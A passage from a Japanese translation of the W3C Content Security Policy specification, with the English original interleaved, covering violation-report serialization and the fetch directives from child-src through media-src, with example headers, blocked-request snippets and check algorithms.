- `originalPolicy$vB ~SET %違反 の`施策$vr を`直列化-$した結果 ◎ originalPolicy • The serialization of violation’s policy.
- `sourceFile$vB ~SET %違反 の`~source~file$vrに応じて ⇒# ~NULL ならば ~NULL / ~ELSE_ `報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~source~file$vr ) ◎ sourceFile • The result of executing § 5.4 Strip URL for use in reports on violation’s source file, if violation’s source file is not null, or null otherwise.
- `sample$vB ~SET %違反 の`見本$vr ◎ sample • violation’s sample.
- `disposition$vB ~SET %違反 の`処置先$vr ◎ disposition • violation’s disposition.
- `statusCode$vB ~SET %違反 の`状態s~code$vr ◎ statusCode • violation’s status.
- `lineNumber$vB ~SET %違反 の`~source~file$vrに応じて ⇒# ~NULL ならば ~NULL / ~ELSE_ %違反 の`行番号$vr ◎ lineNumber • violation’s line number, if violation’s source file is not null, or null otherwise.
- `columnNumber$vB ~SET %違反 の`~source~file$vrに応じて ⇒# ~NULL ならば ~NULL / ~ELSE_ %違反 の`列番号$vr ◎ columnNumber • violation’s column number, if violation’s source file is not null, or null otherwise.
- `報告を生成して~queueする$( %違反 の`大域~obj$【!に`関連な設定群~obj$】, `csp-violation^l, %指令 の`値$, %本体 ) `REPORTING$r ◎ Let settings object be violation’s global object’s relevant settings object. ◎ Generate and queue a report with the following arguments: ◎ context • settings object type • "csp-violation" destination • directive’s value. data • body
-
-
6. ~CSP指令
この仕様は、 次に挙げる種別の`指令$を定義する — これらは、 自身の~siteの挙動のある種の側面を制御することを,~web開発者に許容する:
- 資源の~fetch~~処理を統治する指令 (`§ ~fetch指令@#directives-fetch$)
- 文書の状態を統治する指令 (`§ 文書~指令@#directives-document$)
- ~naviのある側面を統治する指令 (`§ ~navi指令@#directives-navigation$)
- 報告-法を統治する指令 (`§ 指令の報告-法@#directives-reporting$)
これらの指令は、 ~CSPの中核を形成する — 他の指令は、 補佐的な文書にて~modularに定義される ( `§ 他の文書にて定義される指令@#directives-elsewhere$にて例を見れる)。
◎ This specification defines a number of types of directives which allow developers to control certain aspects of their sites' behavior. This document defines directives which govern resource fetching (in § 6.1 Fetch Directives), directives which govern the state of a document (in § 6.3 Document Directives), directives which govern aspects of navigation (in § 6.4 Navigation Directives), and directives which govern reporting (in § 6.5 Reporting Directives). These form the core of Content Security Policy; other directives are defined in a modular fashion in ancillary documents (see § 6.6 Directives Defined in Other Documents for examples).~XSS攻撃による~riskを軽減するため、 ~web開発者は,次のいずれかにより[ ~script/~plugin ]の~sourceを規制するベキである: ◎ To mitigate the risk of cross-site scripting attacks, web developers SHOULD include directives that regulate sources of script and plugins. They can do so by including:
- [ `script-src$dir, `object-src$dir ]両~指令を含める ◎ Both the script-src and object-src directives, or
- `default-src$dir 指令を含める ◎ a default-src directive
いずれの場合も,~web開発者は、 自身による施策~内に妥当な~sourceとして[ `unsafe-inline$pl / `data_^sc ]を含めるベキでない。 どちらも、[ 文書~自体に~codeを直に含めることを許容する ]結果,~XSS攻撃を可能化するので。 それらは完全に避けるのが最善である。 ◎ In either case, developers SHOULD NOT include either 'unsafe-inline', or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.
6.1. ~fetch指令
この節の各~下位~節に~~述べる指令は、 `~fetch指令@ と総称される。 `~fetch指令$は、 ある種の型の資源を,どの所在から読込んでもヨイかを制御する。 一例として, `script-src$dir 指令は、 信用-済み~sourceからの~scriptを~page上で実行することを,~web開発者に許容する。 また, `font-src$dir 指令は、 ~web~fontの~sourceを制御する。 ◎ Fetch directives control the locations from which certain resource types may be loaded. For instance, script-src allows developers to allow trusted sources of script to execute on a page, while font-src controls the sources of web fonts.
6.1.1. `child-src^dir
`child-src@dir 指令は、[ `子~navigable$(例: `iframe$e / `frame$e ~navi ) / `Worker^I 実行~文脈 ]の作成を統治する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The child-src directive governs the creation of child navigables (e.g. iframe and frame navigations) and Worker execution contexts. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "child-src" `directive-value$p = `serialized-source-list$p
この指令は、[ ~frame/~worker ]を拡充するような`要請$ — 正式には,次に該当する`要請$ — を制御する: ◎ This directive controls requests which will populate a frame or a worker. More formally, requests falling into one of the following categories:
- `行先$rq ~IN { `frame^l, `iframe^l, `object^l, `embed^l } ◎ destination is "frame", "iframe", "object", or "embed".
- `行先$rq ~IN { `serviceworker^l, `sharedworker^l, `worker^l } (順に,[ `ServiceWorker$I, `SharedWorker$I, `Worker$I ]用の`~workerを走らす$【/`~swを走らす$】~algoに投入される)。 ◎ destination is either "serviceworker", "sharedworker", or "worker" (which are fed to the run a worker algorithm for ServiceWorker, SharedWorker, and Worker, respectively).
~pageが次の~CSPを伴うならば: ◎ Given a page with the following Content Security Policy:
`Content-Security-Policy$h: `child-src$dir https://example.com/
次の~codeによる どの~fetchも,~network~errorを返す — 供された~URLは,どれも `child-src$dir の`~source~list$に合致しないので: ◎ Fetches for the following code will all return network errors, as the URLs provided do not match child-src’s source list:
<iframe src="https://example.org"></iframe> <script> var %blockedWorker = new Worker("data:application/javascript,..."); </script>
6.1.1.1. `child-src^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `child-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, child-src and policy is "No", return "Allowed".
- ~RET [ `指令$( %名前, この指令の`値$ ) の`要請前~検査$A ]( %要請, %施策 ) を実行した結果 ◎ Return the result of executing the pre-request check for the directive whose name is name on request and policy, using this directive’s value for the comparison.
6.1.1.2. `child-src^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `child-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, child-src and policy is "No", return "Allowed".
- ~RET [ `指令$( %名前, この指令の`値$ ) の`要請後~検査$A ]( %要請, %応答, %施策 ) を実行した結果 ◎ Return the result of executing the post-request check for the directive whose name is name on request, response, and policy, using this directive’s value for the comparison.
6.1.2. `connect-src^dir
`connect-src@dir 指令は、[ ~script~interfaceを利用して読込める~URL ]を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The connect-src directive restricts the URLs which can be loaded using script interfaces. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "connect-src" `directive-value$p = `serialized-source-list$p
この指令は、 ~dataを他の生成元[ へ伝送する/から受信する ]ような`要請$を制御する。 それらには、 次の~APIが含まれる:[ `fetch()$m, `XHR$r, `EVENTSOURCE$r, `BEACON$r, `a$e 要素の `ping$a 属性 ]。 この指令は`また^em、 `WEBSOCKETS$r 接続も制御する — それは形上では~Fetchの一部を成さないが。 ◎ This directive controls requests which transmit or receive data from other origins. This includes APIs like fetch(), [XHR], [EVENTSOURCE], [BEACON], and a's ping. This directive also controls WebSocket [WEBSOCKETS] connections, though those aren’t technically part of Fetch.
~JSは、[ 情報を送受信するために外部~serverへ直に接続する ]ための,少数の仕組みを提供する: ◎ JavaScript offers a few mechanisms that directly connect to an external server to send or receive information.\
- `EventSource$I は、 ~push通知を受信するために,~serverへ開な~HTTP接続を保守する。 ◎ EventSource maintains an open HTTP connection to a server in order to receive push notifications,\
- `WebSocket$I は、 ~browser↔~server間で,双方向通信channelを開く。 ◎ WebSockets open a bidirectional communication channel between your browser and a server,\
- `XMLHttpRequest$I は、 任意な~HTTP要請を,~web開発者に利するために為す。 ◎ and XMLHttpRequest makes arbitrary HTTP requests on your behalf.\
これらは,有用な機能性を可能化する強力な~APIだが、 漏出( `exfiltration^en ) 【 “~filterから漏れる” — ~~内部から外へ秘密裏に~dataを転送する】 へ誘う道も供する。 ◎ These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.
`connect-src$dir 指令は、 次を確保することを~web開発者に許容する ⇒ これらに類する接続は、 自身が信用する生成元へ向かうものに限り,開かれる ◎ The connect-src directive allows you to ensure that these and similar sorts of connections are only opened to origins you trust.\
[ この指令~用の~source式たちが成す~listを定義する施策 ]の送信は、 単直である。 例えば,接続を `https://example.com^s のみに制限するときは、 次の~headerを送信する: ◎ Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only https://example.com, send the following header:
`Content-Security-Policy$h: `connect-src$dir https://example.com/
次の~codeによる~fetchは、 いずれも~network~errorを返すことになる — 供された~URLは、 どれも `connect-src$dir の`~source~list$に合致しないので: ◎ Fetches for the following code will all return network errors, as the URLs provided do not match connect-src’s source list:
<a ping="https://example.org">... <script> var %xhr = new XMLHttpRequest(); %xhr.open('GET', 'https://example.org/'); %xhr.send(); var %ws = new WebSocket("wss://example.org/"); var %es = new EventSource("https://example.org/"); navigator.sendBeacon("https://example.org/", { ... }); </script>
6.1.2.1. `connect-src^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `connect-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, connect-src and policy is "No", return "Allowed".
- ~IF[ `要請は~source~listに合致するか?$A( %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.2.2. `connect-src^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `connect-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, connect-src and policy is "No", return "Allowed".
- ~IF[ `要請に対する応答は~source~listに合致するか?$A( %応答, %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.3. `default-src^dir
`default-src@dir 指令は、 他の`~fetch指令$用の~fallbackとして~~働く。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The default-src directive serves as a fallback for the other fetch directives. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "default-src" `directive-value$p = `serialized-source-list$p
施策~内に `default-src$dir 指令が在る場合、 その値は,施策の既定の`~source~list$として利用されることになる。 すなわち, `default-src 'none'; script-src 'self'^s が与えられたなら、 ~script要請は,照合する`~source~list$として `self$pl を利用する。 他の要請は, `none$pl を利用することになる。 これは、[ `要請は~CSPにより阻止されるべきか?$A, `要請に対する応答は~CSPにより阻止されるべきか?$A ]~algoにてより詳細に~~述べられる。 ◎ If a default-src directive is present in a policy, its value will be used as the policy’s default source list. That is, given default-src 'none'; script-src 'self', script requests will use 'self' as the source list to match against. Other requests will use 'none'. This is spelled out in more detail in the § 4.1.2 Should request be blocked by Content Security Policy? and § 4.1.3 Should response to request be blocked by Content Security Policy? algorithms.
注記: 資源~hint — `prefetch$v や `preconnect$v など — が生成する要請は、 どの特定な`~fetch指令$にも束ねられない代わりに,[ すべての施策の すべての指令の`~source~list$にて許容される~serverたち ]が成す和集合により統治される。 `default-src$dir が指定されていない場合、 これらの要請は,常に許容されることになる。 さらなる情報は、 `§ 漏出@#exfiltration$を見よ。 `HTML$r ◎ Resource hints such as prefetch and preconnect generate requests that aren’t tied to any specific fetch directive, but are instead governed by the union of servers allowed in all of a policy’s directives' source lists. If default-src is not specified, these requests will always be allowed. For more information, see § 8.6 Exfiltration. [HTML]
次の~headerは: ◎ The following header:
`Content-Security-Policy$h: `default-src$dir `self$pl
次の~headerと同じ挙動になる: ◎ will have the same behavior as the following header:
`Content-Security-Policy$h: `connect-src$dir `self$pl; `font-src$dir `self$pl; `frame-src$dir `self$pl; `img-src$dir `self$pl; `manifest-src$dir `self$pl; `media-src$dir `self$pl; `object-src$dir `self$pl; `script-src-elem$dir `self$pl; `script-src-attr$dir `self$pl; `style-src-elem$dir `self$pl; `style-src-attr$dir `self$pl; `worker-src$dir `self$pl
すなわち, `default-src$dir が設定されているときは、 明示的に設定されていない どの`~fetch指令$も, `default-src$dir が指定する値に~fall-backすることになる。 ◎ That is, when default-src is set, every fetch directive that isn’t explicitly set will fall back to the value default-src specifies.
継承はない。 例えば, `script-src$dir 指令が明示的に指定されている場合、 `default-src$dir の値は ~script要請には波及しない。 すなわち、 次の~headerは: ◎ There is no inheritance. If a script-src directive is explicitly specified, for example, then the value of default-src has no influence on script requests. That is, the following header:
`Content-Security-Policy$h: `default-src$dir `self$pl; `script-src-elem$dir https://example.com
次の~headerと同じ挙動になる: ◎ will have the same behavior as the following header:
`Content-Security-Policy$h: `connect-src$dir `self$pl; `font-src$dir `self$pl; `frame-src$dir `self$pl; `img-src$dir `self$pl; `manifest-src$dir `self$pl; `media-src$dir `self$pl; `object-src$dir `self$pl; `script-src-elem$dir https://example.com; `script-src-attr$dir `self$pl; `style-src-elem$dir `self$pl; `style-src-attr$dir `self$pl; `worker-src$dir `self$pl
この挙動の下で,~siteのために施策を築く良い仕方の一つは、 まず, `default-src$dir を `none$pl にする所から始め、[ 施策が適用される特定0の~pageに必要yな資源~型 ]のみが許容されるように,施策を築上げるものになるであろう。 ◎ Given this behavior, one good way to build a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there which allowed only those resource types which are necessary for the particular page the policy will apply to.
6.1.3.1. `default-src^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `default-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".
- %指令 ~LET `指令$( %名前, この指令の`値$ ) ◎ ↓
- ~RET %指令 の`要請前~検査$A( %要請, %施策 ) ◎ Return the result of executing the pre-request check for the directive whose name is name on request and policy, using this directive’s value for the comparison.
6.1.3.2. `default-src^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `default-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".
- %指令 ~LET `指令$( %名前, この指令の`値$ ) ◎ ↓
- ~RET %指令 の`要請後~検査$A( %要請, %応答, %施策 ) ◎ Return the result of executing the post-request check for the directive whose name is name on request, response, and policy, using this directive’s value for the comparison.
6.1.3.3. `default-src^dir ~inline検査
次の~algoが、 この指令の`~inline検査$Aを与える: ◎ This directive’s inline check algorithm is as follows:
所与の ( `要素$ %要素, 文字列 %型, `施策$ %施策, 文字列 %~source ) に対し: ◎ Given an Element element, a string type, a policy policy and a string source:
- %名前 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 ) ◎ Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `default-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".
- %指令 ~LET `指令$( %名前, この指令の`値$ ) ◎ ↓
- ~RET %指令 の`~inline検査$A( %要素, %型, %施策, %~source ) ◎ Otherwise, return the result of executing the inline check for the directive whose name is name on element, type, policy and source, using this directive’s value for the comparison.
6.1.4. `font-src^dir
`font-src@dir 指令は、[ どの~URLから~font資源を読込んでもヨイか ]を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The font-src directive restricts the URLs from which font resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "font-src" `directive-value$p = `serialized-source-list$p
~pageが次の~CSPを伴うならば: ◎ Given a page with the following Content Security Policy:
`Content-Security-Policy$h: `font-src$dir https://example.com/
次の~codeによる~fetchは,~network~errorを返すことになる — 供された~URLは, `font-src$dir の`~source~list$に合致しないので: ◎ Fetches for the following code will return a network errors, as the URL provided do not match font-src’s source list:
<style> @font-face { font-family: "Example Font"; src: url("https://example.org/font"); } body { font-family: "Example Font"; } </style>
6.1.4.1. `font-src^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `font-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, font-src and policy is "No", return "Allowed".
- ~IF[ `要請は~source~listに合致するか?$A( %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.4.2. `font-src^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `font-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, font-src and policy is "No", return "Allowed".
- ~IF[ `要請に対する応答は~source~listに合致するか?$A( %応答, %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.5. `frame-src^dir
`frame-src@dir 指令は、[ どの~URLを`子~navigable$内に読込んでもヨイか ]を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The frame-src directive restricts the URLs which may be loaded into child navigables. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "frame-src" `directive-value$p = `serialized-source-list$p
~pageが次の~CSPを伴うならば: ◎ Given a page with the following Content Security Policy:
`Content-Security-Policy$h: `frame-src$dir https://example.com/
次の~codeによる~fetchは、 ~network~errorを返すことになる — 供された~URLは, `frame-src$dir の`~source~list$に合致しないので: ◎ Fetches for the following code will return a network errors, as the URL provided do not match frame-src’s source list:
<iframe src="https://example.org/"> </iframe>
6.1.5.1. `frame-src^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `frame-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".
- ~IF[ `要請は~source~listに合致するか?$A( %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.5.2. `frame-src^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `frame-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".
- ~IF[ `要請に対する応答は~source~listに合致するか?$A( %応答, %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.6. `img-src^dir
`img-src@dir 指令は、[ どの~URLから画像~資源を読込んでもヨイか ]を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The img-src directive restricts the URLs from which image resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "img-src" `directive-value$p = `serialized-source-list$p
この指令は、 画像を読込む`要請$ — 正式には,次に該当する`要請$ — を制御する `FETCH$r ⇒ `行先$rq ~EQ `image^l ◎ This directive controls requests which load images. More formally, this includes requests whose destination is "image" [FETCH].
~pageが次の~CSPを伴うならば: ◎ Given a page with the following Content Security Policy:
`Content-Security-Policy$h: `img-src$dir https://example.com/
次の~codeによる~fetchは、 ~network~errorを返すことになる — 供された~URLは `img-src$dir の`~source~list$に合致しないので: ◎ Fetches for the following code will return a network errors, as the URL provided do not match img-src’s source list:
<img src="https://example.org/img">
6.1.6.1. `img-src^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `img-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, img-src and policy is "No", return "Allowed".
- ~IF[ `要請は~source~listに合致するか?$A( %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.6.2. `img-src^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `img-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, img-src and policy is "No", return "Allowed".
- ~IF[ `要請に対する応答は~source~listに合致するか?$A( %応答, %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.7. `manifest-src^dir
`manifest-src@dir 指令は、[ ~app~manifest `APPMANIFEST$r を読込んでもヨイ~URL ]を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The manifest-src directive restricts the URLs from which application manifests may be loaded [APPMANIFEST]. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "manifest-src" `directive-value$p = `serialized-source-list$p
~pageが次の~CSPを伴うならば: ◎ Given a page with the following Content Security Policy:
`Content-Security-Policy$h: `manifest-src$dir https://example.com/
次の~codeによる~fetchは,~network~errorを返すことになる — 供された~URLは, `manifest-src$dir の`~source~list$に合致しないので: ◎ Fetches for the following code will return a network errors, as the URL provided do not match manifest-src’s source list:
<link rel="manifest" href="https://example.org/manifest">
6.1.7.1. `manifest-src^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `manifest-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, manifest-src and policy is "No", return "Allowed".
- ~IF[ `要請は~source~listに合致するか?$A( %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.7.2. `manifest-src^dir 要請後~検査
次の~algoが、 この指令の`要請後~検査$Aを与える: ◎ This directive’s post-request check is as follows:
所与の ( `要請$ %要請, `応答$ %応答, `施策$ %施策 ) に対し: ◎ Given a request request, a response response, and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `manifest-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, manifest-src and policy is "No", return "Allowed".
- ~IF[ `要請に対する応答は~source~listに合致するか?$A( %応答, %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.8. `media-src^dir
`media-src@dir 指令は、[ どの~URLから[ 動画, 音声, および 結付けられた~text~track ]資源を読込んでもヨイか ]を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる: ◎ The media-src directive restricts the URLs from which video, audio, and associated text track resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
`directive-name$p = "media-src" `directive-value$p = `serialized-source-list$p
~pageが次の~CSPを伴うならば: ◎ Given a page with the following Content Security Policy:
`Content-Security-Policy$h: `media-src$dir https://example.com/
次の~codeによる~fetchは,~network~errorを返すことになる — 供された~URLは, `media-src$dir の`~source~list$に合致しないので: ◎ Fetches for the following code will return a network errors, as the URL provided do not match media-src’s source list:
<audio src="https://example.org/audio"></audio> <video src="https://example.org/video"> <track kind="subtitles" src="https://example.org/subtitles"> </video>
6.1.8.1. `media-src^dir 要請前~検査
次の~algoが、 この指令の`要請前~検査$Aを与える: ◎ This directive’s pre-request check is as follows:
所与の ( `要請$ %要請, `施策$ %施策 ) に対し: ◎ Given a request request and a policy policy:
- %名前 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let name be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~IF[ `~fetch指令を実行するべきか?$A( %名前, `media-src$dir, %施策 ) ~EQ `~No^i ] ⇒ ~RET `許容される^i ◎ If the result of executing § 6.8.4 Should fetch directive execute on name, media-src and policy is "No", return "Allowed".
- ~IF[ `要請は~source~listに合致するか?$A( %要請, この指令の`値$, %施策 ) ~EQ `合致しない^i ] ⇒ ~RET `阻止される^i ◎ If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".
- ~RET `許容される^i ◎ Return "Allowed".
6.1.8.2. `media-src^dir 要請後~検査
